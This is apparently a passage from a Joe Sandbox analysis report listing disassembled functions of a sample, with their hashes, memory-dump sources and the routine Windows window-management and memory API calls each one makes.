String ID:
API String ID: 1632408287-0
Opcode ID: 0d62f86be1e52cadb593ef37dbb6b5f8ef82d4b69d19409ebb5df9cce1cf652d
Instruction ID: 4b659c918898a2a24d21657531c73e04ff6851355a5fbb362de9db5470d97057
Opcode Fuzzy Hash: 0d62f86be1e52cadb593ef37dbb6b5f8ef82d4b69d19409ebb5df9cce1cf652d
Instruction Fuzzy Hash: 0BD19A37700A8086EB16DF66D8447ED2362F749BE4F584026EF1967BA6DF78C845C340

Uniqueness

Uniqueness Score: -1.00%

Function 000000014010E084 Relevance: 7.8, APIs: 5, Instructions: 294COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 000000014010E162
IntersectRect.USER32 ref: 000000014010E178
IntersectRect.USER32 ref: 000000014010E1BF
GetWindowRect.USER32 ref: 000000014010E387
EqualRect.USER32 ref: 000000014010E3A1

Part of subcall function 000000014010F390: GetWindowRect.USER32 ref: 000000014010F3CF
Part of subcall function 000000014010F390: OffsetRect.USER32 ref: 000000014010F401

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Window$Intersect$EqualOffset
String ID:
API String ID: 1272538121-0
Opcode ID: 6e7f641fd03851c4b3e61d56e4774ab28a660d92ebcbe037032138a071de653b
Instruction ID: 6d2038105ffa2ccd6c6377c94f5fbd55f00b88979c2ee9193befd6f667561b0c
Opcode Fuzzy Hash: 6e7f641fd03851c4b3e61d56e4774ab28a660d92ebcbe037032138a071de653b
Instruction Fuzzy Hash: 07C18AB2714A418AEB12CB67D1847EE77B0F788FC8F141515AF865BEAADB38D405CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000014015A7D4 Relevance: 7.8, APIs: 5, Instructions: 293COMMON

Download Yara Rule

APIs

CopyRect.USER32 ref: 000000014015A89E
GetWindowRect.USER32 ref: 000000014015A8FB
CopyRect.USER32 ref: 000000014015A9D6
CopyRect.USER32 ref: 000000014015AAAE

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Copy$Window
String ID:
API String ID: 1774135527-0
Opcode ID: c6b5a139d69254f4fc0802705462ba263c656d4e46ae06e5c3ad58fcb7fe958d
Instruction ID: 448c0490fb7eb8bc6c170a5e591b5225f2671c4dafe468a559ddf1f1baeea4cc
Opcode Fuzzy Hash: c6b5a139d69254f4fc0802705462ba263c656d4e46ae06e5c3ad58fcb7fe958d
Instruction Fuzzy Hash: B6C1BC72B10A508AEB16DF6AD448BDD33A5F788B98F5A4026DF095BBA9DF38C441C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000014016A364 Relevance: 7.7, APIs: 5, Instructions: 232windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 000000014016A3F0
SendMessageW.USER32 ref: 000000014016A40E
InflateRect.USER32 ref: 000000014016A450
GetSysColor.USER32 ref: 000000014016A46A
GetSysColor.USER32 ref: 000000014016A480

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ColorRect$ClientInflateMessageSend
String ID:
API String ID: 1205032120-0
Opcode ID: 4f6cd9eb03f5a977121dc2fc3c7aea54792fb68003878ea3bf71023a51c796ff
Instruction ID: 10e1a4455d53fd7ef00d50a94dfdd91372b626ae88a70ef5d30b6a8df3ce8cd0
Opcode Fuzzy Hash: 4f6cd9eb03f5a977121dc2fc3c7aea54792fb68003878ea3bf71023a51c796ff
Instruction Fuzzy Hash: FCB16632A14B808BE705CB6AD8403EDB3B0F789B94F544226EF8953B68DF78D955CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140156084 Relevance: 7.7, APIs: 5, Instructions: 196COMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 0000000140156112
InflateRect.USER32 ref: 0000000140156135
PtInRect.USER32 ref: 0000000140156142
PtInRect.USER32 ref: 0000000140156157
GetTickCount.KERNEL32 ref: 0000000140156201

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$ClientCountInflateTick
String ID:
API String ID: 2651408654-0
Opcode ID: 2b894734c67db45671a0e90fc3cb2e37796e42fd1d09e173b9723abb2ea4dc08
Instruction ID: 4c61a9033d6e7734dba6f25793ae737a122163ee509217289a6092ec5223f56e
Opcode Fuzzy Hash: 2b894734c67db45671a0e90fc3cb2e37796e42fd1d09e173b9723abb2ea4dc08
Instruction Fuzzy Hash: 4371B032700A9086EB52EB67D854BFD23A1BB8CFC4F494526DF199BBA5DE39C805C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400E220C Relevance: 7.7, APIs: 5, Instructions: 195COMMON

Download Yara Rule

APIs

IntersectRect.USER32 ref: 00000001400E2314
IsRectEmpty.USER32 ref: 00000001400E231D
CreateRectRgnIndirect.GDI32 ref: 00000001400E234E
IsRectEmpty.USER32 ref: 00000001400E236F

Part of subcall function 0000000140184324: DrawThemeBackground.UXTHEME ref: 000000014018435E
Part of subcall function 0000000140184324: IsRectEmpty.USER32 ref: 0000000140184367
Part of subcall function 0000000140184324: InflateRect.USER32 ref: 000000014018437A
Part of subcall function 0000000140184324: DrawThemeBackground.UXTHEME ref: 00000001401843A3

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Empty$BackgroundDrawTheme$CreateIndirectInflateIntersect
String ID:
API String ID: 3293656562-0
Opcode ID: 1cb1560c5264d3c8ef91430b01d6d32b1d2453fe42969178187b7e291f9c19fd
Instruction ID: 5d472b05397f6db14a359a2f1a8cbed0c64297072bf11d979af9e84235577574
Opcode Fuzzy Hash: 1cb1560c5264d3c8ef91430b01d6d32b1d2453fe42969178187b7e291f9c19fd
Instruction Fuzzy Hash: 9581AB33B04A848AE721CFBAD444BED7372B75DB98F444215EF9963AA5EB34C585C380

Uniqueness

Uniqueness Score: -1.00%

Function 000000014010E808 Relevance: 7.7, APIs: 5, Instructions: 162COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 000000014010E896
EqualRect.USER32 ref: 000000014010E8C1
BeginDeferWindowPos.USER32 ref: 000000014010E8CE
EndDeferWindowPos.USER32 ref: 000000014010E8FA

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$DeferRect$BeginEqualExceptionThrow
String ID:
API String ID: 2064151242-0
Opcode ID: 500399a4ebb872557b7c2f278f24166c5f0561e00a4a887da5381fa2d1c680e8
Instruction ID: 939d23692e671d43b1c9f43e1c3a09bd01ab1d3a45b79ed7b31e410e1da1d1bc
Opcode Fuzzy Hash: 500399a4ebb872557b7c2f278f24166c5f0561e00a4a887da5381fa2d1c680e8
Instruction Fuzzy Hash: B7618B72714A4486EB52DB67E488BAD63A0F78CFD8F544212EF8917E69DF78C441C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140190368 Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

APIs

Part of subcall function 000000014007C728: GetCursorPos.USER32 ref: 000000014007C777
Part of subcall function 000000014007C728: OffsetRect.USER32 ref: 000000014007C7AF
Part of subcall function 000000014007C728: RedrawWindow.USER32 ref: 000000014007C7FB

TrackMouseEvent.USER32 ref: 0000000140190401
InvalidateRect.USER32 ref: 000000014019048D
InvalidateRect.USER32 ref: 0000000140190511
UpdateWindow.USER32 ref: 000000014019053C
RedrawWindow.USER32 ref: 000000014019057C

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: RectWindow$InvalidateRedraw$CursorEventMouseOffsetTrackUpdate
String ID:
API String ID: 359670716-0
Opcode ID: 3c4d14078e364269ea21f95171f8d41a1d29134e46590ff61f8f7b8300757b27
Instruction ID: 911c3723eb7de79f278fabae84f753a406523f1e415e34537a3c892c412290d7
Opcode Fuzzy Hash: 3c4d14078e364269ea21f95171f8d41a1d29134e46590ff61f8f7b8300757b27
Instruction Fuzzy Hash: 32614BB671079489EB42DB27A544BED27A4F75DF98F4A8026DF48177A4DF38C441C704

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400984A4 Relevance: 7.6, APIs: 5, Instructions: 147COMMON

Download Yara Rule

APIs

LoadCursorW.USER32 ref: 0000000140098510
LoadCursorW.USER32 ref: 000000014009856B
LoadCursorW.USER32 ref: 00000001400985BD
CreatePen.GDI32 ref: 000000014009866E

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: CursorLoad$Create
String ID:
API String ID: 1516763891-0
Opcode ID: d8b9f8772947e7fc3f00047e4641b0397c09838a111b62892fd9e93b02ebbeac
Instruction ID: bb1d88d85955e1e6cc2436274cfe786623cd90cc54f224fb2ab6a1be08857019
Opcode Fuzzy Hash: d8b9f8772947e7fc3f00047e4641b0397c09838a111b62892fd9e93b02ebbeac
Instruction Fuzzy Hash: 65617534A04A4186FA27EB23A8157DA6391BB4D7D5F444029FF498B7F2DFBCC8458B44

Uniqueness

Uniqueness Score: -1.00%

Function 000000014011E284 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 000000014011E2EC
SendMessageW.USER32 ref: 000000014011E305
SendMessageW.USER32 ref: 000000014011E356
SendMessageW.USER32 ref: 000000014011E411
SendMessageW.USER32 ref: 000000014011E429

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 72dee6434afb6ff163dc6833d3267e98e47068dfc7c950ed0620af719ef86018
Instruction ID: 32fca3d3eadb5fe54404f1121cdc9988bea2de06b010e0fd725f013f215fb32c
Opcode Fuzzy Hash: 72dee6434afb6ff163dc6833d3267e98e47068dfc7c950ed0620af719ef86018
Instruction Fuzzy Hash: CB51B131704A8082EA69DBA6E8947EE73A1F78CF90F484125DB5A8BBF1DF78C445C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000014014016C Relevance: 7.6, APIs: 5, Instructions: 122COMMON

Download Yara Rule

APIs

MonitorFromPoint.USER32 ref: 0000000140140282
GetMonitorInfoW.USER32 ref: 000000014014028F
CopyRect.USER32 ref: 00000001401402A1
SystemParametersInfoW.USER32 ref: 00000001401402B5
IntersectRect.USER32 ref: 00000001401402E8

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: InfoMonitorRect$CopyFromIntersectParametersPointSystem
String ID:
API String ID: 2931574886-0
Opcode ID: 7b3b9d448149960f0dd42dd2923ad9efa508a3348e1708c9301f33846fa47ad3
Instruction ID: fd3204a7fcf449090e50857f94863ead178717563412e285ce1e27df54b8ddb1
Opcode Fuzzy Hash: 7b3b9d448149960f0dd42dd2923ad9efa508a3348e1708c9301f33846fa47ad3
Instruction Fuzzy Hash: 12513476A00A40AEE712CF7AC484BDD37B1F74CB88F058526DB0897BA9DB74D959CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140170700 Relevance: 7.6, APIs: 5, Instructions: 120windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 0000000140170738
GetCursorPos.USER32 ref: 0000000140170748

Part of subcall function 0000000140128D98: IsRectEmpty.USER32 ref: 0000000140128DBB

PtInRect.USER32 ref: 0000000140170798
PostMessageW.USER32 ref: 000000014017082C
PtInRect.USER32 ref: 0000000140170876

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$CursorEmptyMessagePostWindow
String ID:
API String ID: 1800939087-0
Opcode ID: 83661eee296852737a77d617b96f1a485df7a6fc6cd5e5b3d3c6f958556c1eac
Instruction ID: 61d2afcc3a6ce41465e88c7f914fb9d833607099e95d1eaab364109e7e7b0659
Opcode Fuzzy Hash: 83661eee296852737a77d617b96f1a485df7a6fc6cd5e5b3d3c6f958556c1eac
Instruction Fuzzy Hash: 7351AD32B10741DAEB1BCBB6D9857ED33A1E78CB84F104525CB45A7AA5DB34E494CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400BE87C Relevance: 7.6, APIs: 5, Instructions: 100COMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 00000001400BE8AF

Part of subcall function 000000014004A5AC: ClientToScreen.USER32 ref: 000000014004A5C5
Part of subcall function 000000014004A5AC: ClientToScreen.USER32 ref: 000000014004A5D6

PtInRect.USER32 ref: 00000001400BE8C8
PtInRect.USER32 ref: 00000001400BE940

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ClientRect$Screen
String ID:
API String ID: 3187875807-0
Opcode ID: 24e9480911cb8439f81642719bb638891d867c25c4bf9e5ae5d32fcd72d31918
Instruction ID: b1b5c9768d7ca6d1e980f35dedacc1a8165d78d8cd3e5c1012b6a879c9453f4a
Opcode Fuzzy Hash: 24e9480911cb8439f81642719bb638891d867c25c4bf9e5ae5d32fcd72d31918
Instruction Fuzzy Hash: F4412C32B10A51CAF756CFBAD9547ED3770FB4CB88F144129EF4A9B6A8DA34C9498700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140156700 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 000000014019D884: SetRectEmpty.USER32 ref: 000000014019D8AB

IsRectEmpty.USER32 ref: 0000000140156740

Part of subcall function 000000014004AD30: ScreenToClient.USER32 ref: 000000014004AD49
Part of subcall function 000000014004AD30: ScreenToClient.USER32 ref: 000000014004AD5A

GetWindowRect.USER32 ref: 000000014015677F
UnionRect.USER32 ref: 00000001401567A7
EqualRect.USER32 ref: 00000001401567B5
OffsetRect.USER32 ref: 00000001401567D5

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$ClientEmptyScreen$EqualOffsetUnionWindow
String ID:
API String ID: 2676815302-0
Opcode ID: a6e5b2ad23e684e380efc0b3c632c0ce7dc48975047b4431405b248daf4e25f3
Instruction ID: 1728ed1188d560735bd12da79033578e275124146845243f6da34ed4f2bec2cd
Opcode Fuzzy Hash: a6e5b2ad23e684e380efc0b3c632c0ce7dc48975047b4431405b248daf4e25f3
Instruction Fuzzy Hash: 92410532B20A609AEB11CFB6E844BDD37B1F748B88F544125EE4A67A68DF38D945C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140082728 Relevance: 7.6, APIs: 5, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?,?,?,?,00000001400826FF,?,00000001400837A8), ref: 000000014008274D
GlobalLock.KERNEL32 ref: 000000014008276B
CreateStreamOnHGlobal.OLE32 ref: 000000014008278C
EnterCriticalSection.KERNEL32 ref: 00000001400827A5
LeaveCriticalSection.KERNEL32 ref: 000000014008284E

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Global$CriticalSection$AllocCreateEnterExceptionLeaveLockStreamThrow
String ID:
API String ID: 1516886618-0
Opcode ID: f5eb67c6d05cc7e81d3482045d19e3bd38c5b438a68aee497100739d03acaadb
Instruction ID: 340c188f41b7d8acc9c83f29c6e944cad3d7e0c6a4c404b1096ed80d751390cd
Opcode Fuzzy Hash: f5eb67c6d05cc7e81d3482045d19e3bd38c5b438a68aee497100739d03acaadb
Instruction Fuzzy Hash: 7A3164B6210B0186EB16DB53E8483A96BA0F78CFE1F154528EB09077F6DF78C945C640

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400643BC Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00000001400643EA
SendMessageW.USER32 ref: 0000000140064423

Part of subcall function 0000000140061CAC: wcschr.LIBVCRUNTIME ref: 0000000140061D6A

SendMessageW.USER32 ref: 0000000140064453
SendMessageW.USER32 ref: 00000001400644A2
SendMessageW.USER32 ref: 00000001400644B7

Memory Dump Source

